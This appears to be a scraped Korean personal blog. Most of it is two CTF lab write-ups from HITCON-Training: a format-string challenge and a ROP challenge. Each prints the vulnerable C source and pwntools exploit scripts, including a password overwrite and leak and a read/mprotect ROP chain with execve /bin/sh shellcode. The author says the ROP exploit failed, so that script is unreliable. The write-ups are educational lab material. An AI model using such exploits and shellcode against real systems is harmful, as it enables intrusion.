거의 5개월동안 블로그 방치를 했는데요ㅋㅋ 대학생활도 어느정도 익숙해졌다 생각하고 여태 쌓인 기록 거리도 많은거 같아 다시 블로그좀 부활시킬려고 합니다.
'잡담' 카테고리의 다른 글
| 해킹 캠프 선발 (0) | 2017.08.21 |
|---|---|
| 오늘 변명거리 (0) | 2017.08.16 |
| 프로젝트 진행 순서 (0) | 2017.07.26 |
거의 5개월동안 블로그 방치를 했는데요ㅋㅋ 대학생활도 어느정도 익숙해졌다 생각하고 여태 쌓인 기록 거리도 많은거 같아 다시 블로그좀 부활시킬려고 합니다.
| 해킹 캠프 선발 (0) | 2017.08.21 |
|---|---|
| 오늘 변명거리 (0) | 2017.08.16 |
| 프로젝트 진행 순서 (0) | 2017.07.26 |
끈질기게 물고늘어져 겨우 풀이를 이해한 CodeByO입니다. 이렇게 문제푸는데 전력을 다하니 좋기도 하고 자괴감도 많이 드네요ㅋㅋㅋㅋ
새해를 맞이하며 기록을 시작하도록 하겠습니다.
1.분석
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #include <stdio.h> #include <unistd.h> #include <time.h> #include <stdlib.h> unsigned int password ; int main(){ setvbuf(stdout,0,2,0); char buf[100]; char input[16]; int fd ; srand(time(NULL)); fd = open("/dev/urandom",0); read(fd,&password,4); printf("What your name ? "); read(0,buf,99); printf("Hello ,"); printf(buf); printf("Your password :"); read(0,input,15); if(atoi(input) != password){ puts("Goodbyte"); }else{ puts("Congrt!!"); system("cat /home/crack/flag"); } } | cs |
주어진 소스코드를 살펴보면 일단 오버플로우 나는것도 없는거 같고 있다고 해도
까나리나 NX가 걸려있어 오버플로우는 아니라는걸 확신할 수 있으며 이번 문제는 포맷 스트링을 이용해 익스 플로잇을 할 수 있냐 없냐를 물어보는 문제인거 같습니다.
2.풀이
이제 자세히 소스코드를 보면 20번 줄에 printf(buf); 부분이 있는데요. 포맷 스트링 취약점의 개념을 접해보신 분들이라면 바로 여기에서 취약점이
발생한다고 아실겁니다.
그리고 저희는 password값을 알아내서 input 변수에 넣어줘야되는 상황이니 아무런 쓸모도 없을 수 있는 이 취약점을 아주 잘 요리할 수 있죠.
푸는 방법은 2가지가 있습니다.
1. password 값을 우리가 원하는 값으로 변경시켜 그 값을 input에 집어 넣는다.
2. password 값을 직접 알아내서 그 값을 input에 넣는다.
등등..일단 제가 소개 시켜드릴 방법은 이 두가지 입니다.
(첫번째 방식을 원래 포스팅 할려고 했으나 갓갓인 친구가 어려운 포맷 스트링 문제에선 안먹힌다고 해서 두가지 전부 설명드릴 예정입니다.)
일단 두 가지 방법을 모두 시행하기 위해서 필수적으로 알아야하는 값이 있습니다.
바로 OFFSET인데요.
포맷 스트링을 넣어 buf가 실제 스택에 어디있냐를 알아야 정확히 값을 씌우거나 그 값을 불러올 수 있습니다.
구하는 방법은 매우 간단한데요.
소스 크기도 적어서 그냥 실행 하고 buf 에 AAAA를 집어 넣은다음 %8x를 12번 정도 입력하니 10번째에서 A의 아스키코드인 41이 출력되는걸 확인할 수 있습니다.
결론은 offset 값은 10라는 거죠.
이제 pwntools에 fmtstr_payload 함수를 이용해(사용 방법은 http://docs.pwntools.com/en/stable/fmtstr.html 참고)
1 2 3 4 5 6 7 8 9 10 11 12 | from pwn import * context.log_level = 'debug' cn = process('./crack') p_pwd = 0x0804A048 fmt_len = 10 cn.recv() pay = fmtstr_payload(fmt_len,{p_pwd:1}) cn.sendline(pay) cn.recv() cn.sendline('1') cn.recv() cn.recv() | cs |
password 값을 1로 바꿔 input에 1을 보내면서 우회할 수 있고
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * proc = process("./crack") password_addr = 0x804a048 proc.recvuntil("?") proc.sendline(p32(password_addr) + "#" + "%10$s" + "#" ) proc.recvuntil("#") p = proc password = u32(p[:4]) proc.recvuntil(":") proc.sendline(str(password)) proc.interactive() | cs |
buf에 password 주소를 넣고 %10$s을 이용해 바로 10번째 자리에 있는 값을 불러와서 보내줍니다.
페이로드를 해석해보면 그냥 %10$s를 이용해 바로 10칸뒤에 값을 가져오며
소스코드에서 read(fd,password,4)로 4바이트만 저장됬으니 #을 경계점으로 p[ :4]를 이용해 쉽게 password값을 읽어왔습니다.
이걸 문자열로 input에 보내면?
깔끔하게 성공~!
| HITCON-Training lab5 (0) | 2017.12.31 |
|---|---|
| HICON-Training lab1 (0) | 2017.12.17 |
| HICON-Training lab3 (0) | 2017.11.29 |
이번 문제로 ROP란것이 무엇인지 확실히 알게됬다고 생각하는 CodeByO입니다.
확실히 다른 문제에 비해 코드로만 풀이가 되어있으니 스스로 생각하거나 삽질하는 능력이 많이 향상되는거 같네요
그럼! 바로 시작하도록 하겠습니다.
1.분석
이번 문제의 이름은 simplerop로 rop기법을 할 수 있는지 없는지 물어보는 문제인듯합니다.
코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 | #include <stdio.h> int main(){ char buf[20]; puts("ROP is easy is'nt it ?"); printf("Your input :"); fflush(stdout); read(0,buf,100); } | cs |
매우 간단하며
buf는 20바이트인데 비해 read함수로 100만큼 받아 오버플로우가 발생한다는걸 알 수 있습니다.
그리고 NX가 걸려있어서 스택이나 힙영역을 사용하지 못한다는것도 확인할 수 있습니다.
2.풀이
매우 간단한 문제여서 여러 방법을 사용할 수 있지만 저는 mprotect함수를 사용해 bss에 실행권한을 줘서
read함수로 bss에 쉘코드를 넣은다음 bss를 실행하는 페이로드를 짜봤습니다.
먼저 위 분석화면에서 main+54부분에서 buf함수가 0x1C 즉, 28바이트로 할당되있다는것을 알 수 있으며,
buf+dummy+sfp까지 하면 총 32바이트에 dummy값을 넣어주면 된다는 계산이 나옵니다.
처음 buf가 28바이트라는걸 알았을때 제가 쓸 쉘코드는 23바이트라 buf에도 해도 된다는 생각이 들었지만 ASLR때문에 bss를 써야되더군요;;
이제 read함수 주소와 인자를 정리해줄 pppr 그리고 mprotect함수 주소, bss주소만 구해주시면 페이로드를 만드실 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | from pwn import * elf = ELF("./simplerop") p = process("./simplerop") mprotect_addr = 0x0806d870 read_addr = 0x0806cd50 bss_addr = 0x080eaf90 p3r = 0x080bd6c6 leng = 23 prot = 7 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" dummy = "A"*32 payload = dummy payload += p32(read_addr) payload += p32(p3r) payload += p32(0) payload += p32(bss_addr) payload += p32(leng) payload += p32(mprotect_addr) payload += p32(bss_addr) payload += p32(leng) payload += p32(prot) p.recvuntil(":") p.sendline(payload) sleep(0.1) p.sendline(shellcode) p.interactive() | cs |
그래서 해봤는데.....! 이번에도 명령어가 제데로 동작하지 않더군요ㅠㅠ 기존에 있던 풀이는 너무 난해해서 해석이 불가능 했고요;;
일단 기록겸해서 먼저 올리고 다른 방법을 강구해볼려고 합니다. 기본적인 bss에 /bin/sh문자열 넣고 system()로 콜하는게 있었지만
system() 주소가 표시가 안되 오프셋으로 구하는 방법을 또 사용해야되서 다른방법을 쓴거였지만
이번에 오프셋으로 주소 구하는법을 어렴풋 배워서 내일 한번 시도해볼려고 합니다.
아무튼 기록은 여기서 끝~!
| HITCON-Training lab7 (0) | 2018.01.01 |
|---|---|
| HICON-Training lab1 (0) | 2017.12.17 |
| HICON-Training lab3 (0) | 2017.11.29 |